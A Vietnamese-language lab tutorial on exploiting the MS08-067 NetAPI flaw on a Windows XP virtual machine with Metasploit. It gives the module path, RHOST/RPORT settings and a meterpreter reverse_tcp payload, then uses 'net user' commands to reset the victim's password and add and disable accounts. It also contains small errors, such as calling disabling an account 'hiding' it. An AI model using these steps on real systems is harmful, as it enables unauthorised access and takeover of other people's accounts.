Để thay đổi mật khẩu của windows, bước đầu tiên là hack hệ thống đó qua Metasploit và  phụ thuộc vào phiên bản windows mà mục tiêu của bạn đang sử dụng.
Trong bài này, chúng tôi demo với mục tiêu sử dụng Windows XP và để khai thác chúng tôi sẽ sử dụng exploit NETAPI, nó là một trong những Exploit phổ biến nhất trong lịch sử.

MS08_067_NETAPI là gì ?

Module này khai thác lỗ hổng phân tích cú pháp trong quy tắc mã hoá đường dẫn của NetAPI32.dll thông qua Server Service và có khả năng bypass NX trên một số hệ điều hành và service packs.

Các thành phần trong bài lab

  1. VirtualBox/VMWare Workstation
  2. Kali Linux
  3. victim sử dụng (XP)

Tạo 2 máy ảo là “victim (Windows XP)” và “Attacker(Kali Linux)“. Cấu hình mạng 2 máy ảo là NAT, để nhận ip

Trước khi sử dụng Metasploit Framework trên kali linux, bạn nên đảm bảo phiên bản Metasploit Framework là mới nhất qua lệnh update sau “msfupdate“.

Khi bạn có phiên bản mới nhất của Metasploit Framework, bạn chạy lệnh “msfconsole” terminal. ở bài viết này thì phiên bản Metasploit Framework của chúng tôi là 4.16.6 có 1682 exploits và 498 payload.

Msfconsole là giao diện dòng lệnh của Metasploit Framework. Nó cung cấp all-in-one và cho phép bạn sử dụng hầu như tất cả các tùy chọn có sẵn trong Metasploit Framework. Ngoài ra bạn có thể sử dụng Armitage. Nó là phiên bản giao diện của Metasploit Framework .

Chúng ta hãy sử dụng lệnh Search để tìm các modules khai thác với từ khóa netapi. Gõ lệnh “search netapi“. Bây giờ bạn có danh sách các modules phù hợp với netapi cùng với ngày công bố và rank.

Chúng ta sẽ khai thác MS08-067, gõ lệnh:

use  exploit/windows/smb/ms08_067_netapi“.

Bây giờ gõ lệnh “show options“, để xem các thiết lập cần thiết khi khai thác.

Sau đó chúng ta đã đặt RHOST là địa chỉ IP của máy mục tiêu mà chúng tôi đang tấn công:

set RHOST <ip mục tiêu>

Bạn có thể set RPORT là 445. Bởi vì nó được tích hợp nhiều dịch vụ nên khó mà đóng port này một cách triệt để. Về mặt kỹ thuật Port 445 là ‘SMB over IP’. SMB là viết tắt của ‘Server Message Blocks’. Server Message Block còn được gọi là Common Internet File System. Hệ thống hoạt động như một giao thức mạng layer application. Chủ yếu được sử dụng để cung cấp chia sẻ file, máy in, cổng nối tiếp và các loại liên lạc khác trong mạng.

Sau khi xác định RHOST và RPORT, chúng ta hãy sử dụng TLC Payload cho lần khai thác này. Gõ lệnh: “set payload windows/meterpreter/reverse_tcp”.

Payload là đoạn mã khai thác và cung cấp cho hacker một reverse shell. Chúng ta sẽ sử dụng windows meterpreter payload. Nếu bạn muốn xem tất cả các payload có sẵn thì sử dụng lệnh “show payloads”.

Tại sao sử dụng meterpreter? Bởi vì meterpreter là một reverse shell rất mạnh mẽ có nhiều chức năng đã được xây dựng sẵn. Chức năng bao gồm các tác vụ phổ biến sau khi khai thác như quét mạng của đối tượng, phần cứng, truy cập thiết bị vv. Meterpreter cũng có thể bắt đầu phiên vnc.

Bây giờ chúng ta đã chọn payload, kiểm tra các tùy chọn một lần nữa bằng cách gõ lệnh:  “show options“.

 Bây giờ ta có các tùy chọn LHOST và LPORT. LHOST là địa chỉ ip của attacker. Bạn gõ “ifconfig” trên terminal của kali linux để xem ip. LPORT là port mà bạn muốn nhận phản hồi reverse shell. tức là 4444 trong trường hợp này.

OK, đã đến lúc khai thác lỗ hổng, đánh “exploit” hoặc “run” trong giao diện điều khiển. Nếu khai thác thành công, bạn có thể thấy kết quả sau.

Bây giờ để thay đổi mật khẩu Windows, trước tiên bạn phải vào chế độ SHELL của máy tính của Victim bằng cách gõ “shell” trong cùng một giao diện điều khiển.

Hơn nữa, gõ “net user” để hiển thị tất cả người dùng Windows. Lệnh net user được sử dụng để thêm, xóa, và thay đổi các tài khoản người dùng trên máy tính.

Để thay đổi mật khẩu của máy tính của nạn nhân gõ: “net user <User> <Password> ” . Như hình bên dưới là đổi mật khẩu user ‘New user’ với mật khẩu mới là home123

Bạn thậm chí có thể tạo user Administrator trên máy bị tấn công với lệnh:

net user <Username> /add“.

Và để đặt mật khẩu cho người dùng mới tạo, gõ: “net user <Username> <New Password>“.

Và điều tốt nhất là, thậm chí bạn có thể ẩn bất kỳ người dùng bằng cách gõ: “net user <Username> /active:no“.

Bây giờ bạn có thể kiểm tra xem tài khoản đó có bị vô hiệu hóa hay không bằng cách gõ: “net user <Username>“.